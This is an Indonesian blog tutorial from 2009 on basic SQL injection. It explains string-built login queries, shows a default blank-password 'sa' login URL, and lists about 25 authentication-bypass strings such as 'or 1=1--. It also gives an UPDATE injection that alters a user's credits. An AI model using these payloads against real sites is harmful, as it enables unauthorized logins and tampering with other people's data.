Free Blog Templates

Selasa, 07 Juli 2009

Teknik dasar SQL injection

SQL singkatan dari Structured Query Language yang merupakan bahasa komputer standar yang ditetapkan oleh ANSI (American National Standard Institute) untuk mengakses dan memanupulasi sistem database. SQL bekerja dgn program2 database seperti MS Access, DB 2, Informix, MS SQL Server, Oracle, Sybase dan lain sebagainya.
SQL Injection attack merupakan salah satu teknik dalam melakukan web hacking utk menggapai akses pada sistem database yang berbasis SQL. Teknik ini memanfaatkan kelemahan dalam bahasa pemprograman scripting pada SQL dalam mengolah suatu sistem database. Hasil yang ditimbulkan dari teknik ini membawa masalah yang sangat serius. Mengapa disebut SQL Injection ? seperti yang kita ketahui, injection jika diartikan ke dalam bahasa Indonesia yaitu "suntikan". Yang terjadi memang seperti melakukan suntikan terhadap SQL yang tujuannya adalah tergantung kepada pelakunya dan pada intinya jika disalahgunakan maka akan membawa aspek negatif terhadap korban.
Sudah disinggung diatas bahwa SQL Injection attack memanfaatkan kelemahan dalam bahasa pemprograman scripting pada SQL maksudnya adalah memanfaatkan teknik string building untuk mengeksekusi/menjalankan kode SQL. Jadi prinsip dasar SQL Injection sebenarnya memanfaatkan kode insecure (tidak aman) atas sebuah sistem yang terhubung ke internet dalam upaya melangkahi command (perintah) dan secara langsung menuju ke database untuk kemudian mengambil keuntungan dari sistem yang dijamin aman untuk melakukan pengambilan atau pengubahan atau lain sebagainya oleh penyerang.
Keuntungan yang diambil adalah seperti login akses terhadap server yang bukan haknya atau yang lainnya, tergantung kepada penyerangnya.
Input Query String
Default setting dari SQL menggunakan :
adminID = sa
password =’’ (kosong atau blank)
misalnya : http://www.target.com/login.asp?adminID=sa%20password=’’
%20 artinya menggantikan "jarak spasi"
Ini merupakan kondisi yang berbahaya jika pengubahan setting tidak segera dilakukan.
Verifikasi yang dilakukan oleh SQL disaat pemakai memasukkan username dan password adalah seperti yang terlihat pada teks sebagai berikut :
SQLQuery="SELECT Username FROM Users WHERE Username="’&strUsername&"’strpassword&"’
Pada verifikasi terdapat kelemahan pada pemprosesan pada string2 tertentu yang sebenarnya string tersebut dapat dikatakan sebagai input ilegal. Verifikasi tetap melakukan proses dan nantinya menghasilkan error page. Error page tersebut justru membuka rahasia struktur database dan bahkan error page tetapi eksekusi terhadap validasi input tetap dijalankan.
Contoh : menggunakan injection string ’OR’’= pada username maupun password baik dilakukan dgn metode URL input query string maupun Box input query string maka SQL query akan membacanya sebagai berikut :
SELECT Username FROM Users WHERE Username=’’OR’’=’’ AND Password=’’OR’’=’’
Maka yang terjadi adalah SQL query akan menyatakan blank username dan blank password sebagai user yang sah (valid). SQL Injection yang berhasil dilakukan akan ditandai dgn munculnya error page dgn error yang dimunculkan dapat berupa ODBC error, internal server error, syntax error dan lain sebagainya.
Ada banyak variasi dari injection string yang dapat digunakan untuk melakukan SQL Injection :
’or 1=1–
’or 0=0 –
’or ’x’=’x
’or a=a-
"or 0=0 –
"or 0=0 #
"or "x"="x
")or("a"="a
admin’–
hi" or 1=1 –
hi’ or’a’=’a
hi")or("a"="a
or 0=0 #
’or a=a–
’or 0=0 #
’having 1=1–
"or 1=1–
"or "a"="a
’)or(’a’=’a
’)or(’x’=’x
hi" or "a"="a
hi’ or 1=1 –
hi’)or(’a’=’a
or 0=0 –
or 1=1–
Serangan dgn menggunakan SQL Injection dapat lebih bervariasi lagi dan itu tergantung kepada situasi dan tujuan dari serangan yang dilakukan oleh penyerang. Contoh :
’UPDATE YEPCell_memberDB set Credits=100 wher UserID=’yamakasi’
Sql Injection yang dilakukan seseorg dapat dideteksi dgn menggunakan IDS (Intrusion Detection System)(ayanan keamanan yang memonitor dan menganalisis sistem, dengan tujuan menemukan usaha-usaha tidak sah untuk mengakses resource komputer seseorang. Sistem ini juga menyediakan peringatan real-time, apabila hal ini terjadi)
View source And Link

Tidak ada komentar:

Posting Komentar

ketikkan komentar anda (bad)